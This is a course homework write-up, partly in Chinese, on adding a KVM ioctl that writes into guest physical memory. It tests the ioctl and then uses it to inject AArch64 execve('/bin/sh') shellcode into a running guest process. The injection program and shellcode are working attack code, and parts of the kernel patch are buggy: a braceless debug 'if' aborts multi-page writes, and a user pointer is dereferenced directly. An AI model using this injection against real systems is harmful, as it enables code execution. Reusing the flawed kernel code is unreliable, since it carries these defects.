Virtual Machine Homework 2 Writeup

Task 1: Adding new ioctls to KVM

1. Add system ioctl command number in `include/uapi/linux/kvm.h`

首先，要加入 system ioctl 我們必須先定義 system ioctl command 在 `include/uapi/linux/kvm.h` 中，並加入 kvm_arm_write_gpa_args 的 structure definition：

```
/* args of KVM_ARM_WRITE_GPA ioctl for NTU_VM_HW2 */
struct kvm_arm_write_gpa_args {
    uint32_t vmid;  // the vmid that you, as the host, want to write
 to
    uint64_t gpa;   // the gpa of the guest
    uint64_t data;  // address of the payload in host user space
    uint64_t size;  // size of the payload
};
```

```
/*
 * System ioctl defined for NTU_VM_HW2
 */
#define KVM_ARM_WRITE_GPA         _IOWR(KVMIO, 0x0b, struct kvm_arm_
write_gpa_args)
```

其中，必須註冊一個 unique 的 command number，我這裡延續上面的 system ioctl，用了 `0x0b` 作為 command number

2. Add case in the `kvm_dev_ioctl()` in `virt/kvm/kvm_main.c`

註冊完 system ioctl command 後，要加入 case 在 `virt/kvm/kvm_main.c` 的 `kvm_dev_ioctl()` function 中，以跳到 ioctl handler 進行處理，如下圖所示：

```
4714     /*
4715      * system ioctl case for NTU_VM_HW2
4716      */
4717     case KVM_ARM_WRITE_GPA:
4718         r = kvm_dev_ioctl_write_gpa(arg);
4719         break;
```

3. Add ioctl handler function in `virt/kvm/kvm_main.c`

再來就要去定義這個 ioctl handler function `kvm_dev_ioctl_write_gpa()` 在 `virt/kvm/kvm_main.c` 中，

```
4665 /*
4666  * ioctl handler of KVM_ARM_WRITE_GPA for NTU_VM_HW2
4667  */
4668 static long kvm_dev_ioctl_write_gpa(struct kvm_arm_write_gpa_args *arg) {
4669     struct kvm *this_kvm;
4670     struct kvm *task_kvm = NULL;
4671     struct kvm_vcpu *vcpu;
4672     uint8_t *kbuf;
4673     kbuf = kmalloc(arg->size, GFP_KERNEL);
4674     if (!kbuf)
4675         return -ENOMEM;
4676
4677     if (copy_from_user(kbuf, (void __user *)(uintptr_t)arg->data, arg->size)) {
4678         kfree(kbuf);
4679         return -EFAULT;
4680     }
4681
4682     mutex_lock(&kvm_lock);
4683     list_for_each_entry(this_kvm, &vm_list, vm_list) {
4684         if (this_kvm->arch.mmu.vmid.vmid == arg->vmid) {
4685             task_kvm = this_kvm;
4686             break;
4687         }
4688     }
4689     mutex_unlock(&kvm_lock);
```

```
4690     if (!task_kvm) {
4691         printk(KERN_ERR "VMID %u not found.\n", arg->vmid);
4692         return -ENOENT;
4693     }
4694
4695     mutex_lock(&kvm_lock);
4696     vcpu = task_kvm->vcpus[0];
4697     vcpu->arch.write_gpa_args.vmid = arg->vmid;
4698     vcpu->arch.write_gpa_args.gpa = arg->gpa;
4699     vcpu->arch.write_gpa_args.data = kbuf;
4700     vcpu->arch.write_gpa_args.size = arg->size;
4701     kvm_make_request(KVM_REQ_ARM_WRITE_GPA, vcpu);
4702     mutex_unlock(&kvm_lock);
4703
4704     kvm_vcpu_kick(vcpu);
4705
4706    return 0;
4707 }
```

這裡我使用的是 `include/linux/list.h` 中的 `list_for_each_entry()` 來進行遍歷找到 vmid 對應的 kvm，

這邊之所以要使用 mutex 的原因為防止同時有其他 process 正在對 vm_list 和 vcpu 進行操作，

因為 arg->data 是在 user space，我們必須使用 `copy_from_user` 將 user space 資料搬入 kernel buffer 中以便後續使用。

再來，ioctl handler 要使用 `kvm_make_request()` 來 make a request to 對應 vmid 的 KVM 中的 vcpu 0，

可以看到 kvm_make_request 的 API 定義如下：

```
static inline void kvm_make_request(int req, struct kvm_vcpu *vcpu)
{
    /*
     * Ensure the rest of the request is published to kvm_check_requ
est's
     * caller.  Paired with the smp_mb__after_atomic in kvm_check_re
quest.
     */
    smp_wmb();
    set_bit(req & KVM_REQUEST_MASK, (void *)&vcpu->requests);
}
```

我們必須加入新的 request number 在 `arch/arm64/include/asm/kvm_host.h` 中，並實作對應的 request handler：

```
/*
 * define the request number of WRITE_GPA ioctl for NTU_VM_HW2
 */
#define KVM_REQ_ARM_WRITE_GPA KVM_ARCH_REQ(6)
```

並且，為了讓 args 能傳到 request handler 裡，這裡在 `arch/arm64/include/asm/kvm_host.h` 中的 `struct kvm_vcpu_arch` 加入 `kvm_arm_write_gpa_args`，才能存入 kvm_arm_write_gpa_args 資訊進 vcpu->arch 中

```
/* add write_gpa_args for NTU_VM_HW2 */
struct kvm_arm_write_gpa_args write_gpa_args;
```

4. Add request handler in `kvm_check_request` in `arch/arm64/kvm/arm.c`

最後要實作 request handler，必須在 `arch/arm64/kvm/arm.c` 中的 `check_vcpu_requests()` 處加入下面的 request handler 來處理 `KVM_REQ_ARM_WRITE_GPA` 的 request

先用 `kvm_check_request(KVM_REQ_ARM_WRITE_GPA, vcpu)` 來判斷是否為 `KVM_REQ_ARM_WRITE_GPA` request

再來使用 `kvm_vcpu_write_guest` 來寫入 arg->data 進 vcpu 對應的 gpa 位址。

```
709         /*
710          * Add request handler of ARM_WRITE_GPA for NTU_VM_HW2
711          */
712         if (kvm_check_request(KVM_REQ_ARM_WRITE_GPA, vcpu)) {
713             struct kvm_arm_write_gpa_args *arg;
714             arg = &vcpu->arch.write_gpa_args;
715             printk(KERN_INFO "KVM_ARM_WRITE_GPA: GPA: 0x%llx, size: %d\n", (unsigned lo
    ng long)arg->gpa, arg->size);
716             int ret = kvm_vcpu_write_guest(vcpu, arg->gpa, arg->data, arg->size);
717             if (ret) {
718                 printk(KERN_ERR "KVM_ARM_WRITE_GPA: Can't sucessfully write data to gue
    st memory, return value is: %d\n", ret);
719             }
720         }
721     }
722 }
```

這裡為了 debugging 有在 `kvm_vcpu_write_guest()` 和 `kvm_vcpu_write_guest_page()` 加入一些 printk 來得到一些資訊。

```
2918 int kvm_vcpu_write_guest(struct kvm_vcpu *vcpu, gpa_t gpa, const void *data,
2919                           unsigned long len)
2920 {
2921     gfn_t gfn = gpa >> PAGE_SHIFT;
2922     int seg;
2923     int offset = offset_in_page(gpa);
2924     int ret;
2925
2926     while ((seg = next_segment(len, offset)) != 0) {
2927         ret = kvm_vcpu_write_guest_page(vcpu, gfn, data, offset, seg);
2928         if (ret < 0)
2929             printk(KERN_INFO "KVM_ARM_WRITE_GPA: The gfn is %x, offset is %x\n", gfn, o
    ffset);
2930             return ret;
2931         offset = 0;
2932         len -= seg;
2933         data += seg;
2934         ++gfn;
2935     }
2936     return 0;
2937 }
```

```
2884 int kvm_vcpu_write_guest_page(struct kvm_vcpu *vcpu, gfn_t gfn,
2885                               const void *data, int offset, int len)
2886 {
2887     struct kvm_memory_slot *slot = kvm_vcpu_gfn_to_memslot(vcpu, gfn);
2888     if (!slot) {
2889         printk(KERN_INFO "KVM_ARM_WRITE_GPA: slot is NULL\n");
2890     } else {
2891         printk(KERN_INFO "KVM_ARM_WRITE_GPA: slot: start_gfn=0x%llx, npages=%lld, hva=0
    x%llx\n", slot->base_gfn, slot->npages, slot->userspace_addr);
2892     }
2893     return __kvm_write_guest_page(vcpu->kvm, slot, gfn, data, offset, len);
2894 }
```

Task 2. Testing the new ioctl

Environment setup

1. 使用 `git apply ./r11944040_hw2.patch` 來得到我修改後的 kernel，編譯得到 kernel image

2. 使用新的 kernel image 執行 hw1 `run-kvm.sh -k <path/to/new_kernel_image> -i <path/to/host_disk_image>` 跑起修改後的 KVM host
3. 在 KVM host 執行 `run-guest.sh -k <path/to/kernel_image> -i <path/to/guest_disk_image>` 跑起 KVM guest

Run the test program

下面是使用我的 test program 來測試 `KVM_ARM_WRITE_GPA` ioctl 的步驟：

1. 在 hw2 資料夾下 `make all` 得到 `host_main guest_main`
2. 將 `guest_main` push 到 guest KVM 中
3. 在 guest KVM 執行 `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` 禁止 ASLR
4. 在 KVM guest 執行 `./guest_main &` 得到 pid 和 data GVA

```
root@ubuntu:/home/hw2# ./guest_main &
[1] 878
root@ubuntu:/home/hw2# Content in data: 12345678
Address of data: 0xffff04c4834
```

5. 使用 `./page-types -p <pid> -L` 找到 GVA 對應的 column 並依照其 VPN 轉成 PFN 得到 GPA，如下圖所示：

   可以知道 GVA `0xffff04c4834` 對應的 GPA 為 `0x44e3e834`

```
root@ubuntu:/home/hw2# ./page-types -p 878 -L
voffset offset  flags
```

```
ffff04c4       44e3e    __RU_lA____Ma_b___________________________
```

6. 使用 `gdb -p <pid>` attach guest_main 可以看到程式會卡在迴圈除非 data content 變為 `0x11944040`
7. 在 host KVM 執行 `./host_main <vmid> <GPA>`
8. 回到 guest KVM 在 gdb 繼續執行 guest_main process，會發現資料已被更改為 `0x11944040`，並跳出迴圈，結束程式
9. 使用 `make clean` 清掉編譯出來的 `host_main guest_main`

從該 test program 可以測試得到上述的`KVM_ARM_WRITE_GPA` 的確能寫入 arg->data 進指定的 guest GPA 位址。

Explaination of the test program

我的測試 program 的方式為，先在 guest KVM 執行 guest_main，會陷入無窮迴圈直至 data value 更改為 `0x11944040` 為止。

`guest_main.c`：

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>

int main() {
    uint32_t data = 0x12345678;
    printf("Content in data: %x\\n", data);
    printf("Address of data: %p\\n", (void *)&(data));
    bool flag = true;
    while (flag) {
        if (data == 0x11944040) {
            printf("Content in data: %x\\n", data);
            flag = false;
        }
    }
    return 0;
}
```

而在 host KVM 會執行 host_main，來呼叫在我們 implement 的 `KVM_ARM_WRTIE_GPA` ioctl，並以 command line argument 1 作為 vmid 和 command line argument 2 作為 GPA，最終將`0x11944040`寫入 guest KVM 的 data 位址中。

`host_main.c`：

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <linux/kvm.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

#define KVM_ARM_WRITE_GPA _IOWR(KVMIO, 0x0b, struct kvm_arm_write_gpa_args)

struct kvm_arm_write_gpa_args {
    uint32_t vmid;
    uint64_t gpa;
    uint64_t data;
```

```
    uint64_t size;
};

int main(int argc, char *argv[]) {
    int kvm_fd = open("/dev/kvm", O_RDWR);
    if (kvm_fd < 0) {
  fprintf(stderr, "cannot open kvm device!\\n");
  return 1;
    }
    uint64_t vmid = strtoul(argv[1], NULL, 0);
    uint64_t gpa = strtoull(argv[2], NULL, 16);

    uint32_t data = 0x11944040;
    uint64_t size = sizeof(data);

    struct kvm_arm_write_gpa_args args = {vmid, gpa, (uint64_t)&data, size};

    if (argc < 3) {
        fprintf(stderr, "Usage: %s <vmid> <gpa>\\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    int ret = ioctl(kvm_fd, KVM_ARM_WRITE_GPA, &args);
    if (ret < 0) {
        printf("Test case failed: %d\\n", ret);
    } else {
        printf("Test case succeeded\\n");
    }

    close(kvm_fd);

    return 0;
}
```

Task 3. Code injection

Environment setup

1. 使用 `git apply ./r11944040_hw2.patch` 來得到我修改後的 kernel，編譯得到 kernel image
2. 使用新的 kernel image 執行 `run-kvm.sh -k <path/to/new_kernel_image> -i <path/to/host_disk_image>` 跑起修改後的 KVM host
3. 在 KVM host 執行 `run-guest.sh -k <path/to/kernel_image> -i <path/to/guest_disk_image>` 跑起 KVM guest

Run the code injection program

下面是使用我的 test program 來做 code injection 的步驟

1. 在 hw2 資料夾下 `make all` 得到 `host_hw2_test guest_hw2_sheep`

2. 將 `guest_hw2_sheep` push 到 guest KVM 中
3. 在 guest KVM 執行 `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space` 禁止 ASLR
4. 在 KVM guest 執行 `./guest_hw2_sheep &` 得到 pid

```
root@ubuntu:/home/hw2# ./guest_hw2_sheep&
[1] 3407
```

5. 使用 `gdb -p <pid>` 並在 gdb 中使用 `b main:2` 來得到 main GVA

```
main () at hw2-sheep.c:2
2               while (1) {}
(gdb) b main:2
Breakpoint 1 at 0xaaaad720071c: file hw2-sheep.c, line 2.
(gdb)
```

6. 使用 `./page-types -p <pid> -L` 找到 GVA 對應的 column，並依照其 VPN 轉成 PFN 得到 GPA，如下圖所示：

   可以知道 GVA `0xaaaad720071c` 對應的 GPA 為 `0x4a6d571c`

```
root@ubuntu:/home/hw2# ./page-types -p 3407 -L
voffset offset  flags
aaaad7200       4a6d5   __RU_lA____M_____________________________
```

7. 使用 `gdb -p <pid>` attach `guest_hw2_sheep` 可以看到程式會卡在迴圈
8. 在 host KVM 執行 `./host_hw2_test <vmid> <GPA>`

```
root@ubuntu:~/test/hw2# ./host_main 1 0x4a6d571c
Test case succeeded
```

9. 回到 guest KVM 的`(gdb) n`，可以看到 process 會轉為執行 `/usr/bin/dash`

當 process 呼叫 execve 並執行 `/usr/bin/dash` 可以知道 code injection 成功了。

Explaination of the test program

我的 code injection 的方式為，先在 guest KVM 執行guest_hw2_sheep，該 process 會卡在無窮迴圈。

`guest_hw2_sheep.c`：

```
int main() {
  while (1) {}
}
```

在 host KVM 中會執行 host_hw2_test，來呼叫在我們 implement 的 `KVM_ARM_WRTIE_GPA` ioctl，並以 command line argument 1 作為 vmid 和 command line argument 2 作為 GPA，寫入 shellcode 到 process 的 text 的 GPA 位址。

這裡，我在 shellcode 插入了：

```
"_start_shellcode:\\n\\t"
"_end_shellcode:"
```

以便於得到 shellcode 的大小作為 arg->size。

`host_hw2_test.c`：

```
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <linux/kvm.h>

struct kvm_arm_write_gpa_args {
  uint32_t vmid;
  uint64_t gpa;
  uint64_t buf;
  uint64_t size;
};

#define KVM_ARM_WRITE_GPA _IOWR(KVMIO, 0x0b, struct kvm_arm_write_gpa_args)

extern void shellcode();
__asm__(".global _start_shellcode\\n"
    ".global _end_shellcode\\n"
    ".global shellcode\\n"
  "shellcode:\\n\\t"
    "_start_shellcode:\\n\\t"
  /* push b'/bin///sh\\x00' */
  /* Set x14 = 8299904519029482031 = 0x732f2f2f6e69622f */
  "mov  x14, #25135\\n\\t"
  "movk x14, #28265, lsl #16\\n\\t"
  "movk x14, #12079, lsl #0x20\\n\\t"
  "movk x14, #29487, lsl #0x30\\n\\t"
  "mov  x15, #104\\n\\t"
  "stp x14, x15, [sp, #-16]!\\n\\t"
```

```
  /* execve(path='sp', argv=0, envp=0) */
  "mov  x0, sp\\n\\t"
  "mov  x1, xzr\\n\\t"
  "mov  x2, xzr\\n\\t"
  /* call execve() */
  "mov  x8, #221\\n\\t" // SYS_execve
  "svc 0\\n\\t"
    "_end_shellcode:");

extern const char _start_shellcode;
extern const char _end_shellcode;

int main(int argc, char *argv[]) {
    uintptr_t start_address = (uintptr_t)&_start_shellcode;
    uintptr_t end_address = (uintptr_t)&_end_shellcode;
    size_t shellcode_size = end_address - start_address;
    printf("shellcode_size: %zu bytes\\n", shellcode_size);

    struct kvm_arm_write_gpa_args wgpa = {
        .vmid = strtoul(argv[1], NULL, 0),
        .gpa = strtoull(argv[2], NULL, 16),
  .buf = (unsigned long)&shellcode,
        .size = shellcode_size,
    };
    // TODO: implement your shellcode injection attack

    if (argc < 3) {
  fprintf(stderr, "Usage: %s <vmid> <gpa>\\n", argv[0]);
  exit(EXIT_FAILURE);
    }

    int kvm_fd = open("/dev/kvm", O_RDWR);
    if (kvm_fd < 0) {
        fprintf(stderr, "cannot open kvm device!\\n");
        return 1;
    }

    int ret = ioctl(kvm_fd, KVM_ARM_WRITE_GPA, &wgpa);
    if (ret < 0) {
        fprintf(stderr, "cannot write gpa!\\n");
        return 1;
    }

    close(kvm_fd);
    return 0;
}
```

Answer the Question

> Your ioctl writes to the VM memory by making a vcpu request, and the VM memory will be written when the request is handled. Why can't your ioctl write to the VM memory directly (for

> example, using kvm_vcpu_write_guest()), without making requests?

這裡的問題是為什麼不要直接在 ioctl handler function `kvm_dev_ioctl_write_gpa()` 做 `kvm_vcpu_write_guest()`，而要 `kvm_make_request()` 後再經由 request handler 做 `kvm_vcpu_write_guest()`，下面是我的想法：

當呼叫 `kvm_make_request` 後，會將 vcpu 加入 queue 中，等待 hypervisor 處理，這樣一來，如果有多個 vcpu 要寫入相同的 GPA 時，可以避免 race condition 或是其他同步的問題。

再來是系統設計一致性的問題，`kvm_vcpu_write_guest()` 是在對某個特定 vcpu 進行處理，應該要放在處理 vcpu 處理的 abstraction layer 中，把他放在 system ioctl 處理的 abstraction layer 可能會造成後續專案維護的困難度增加。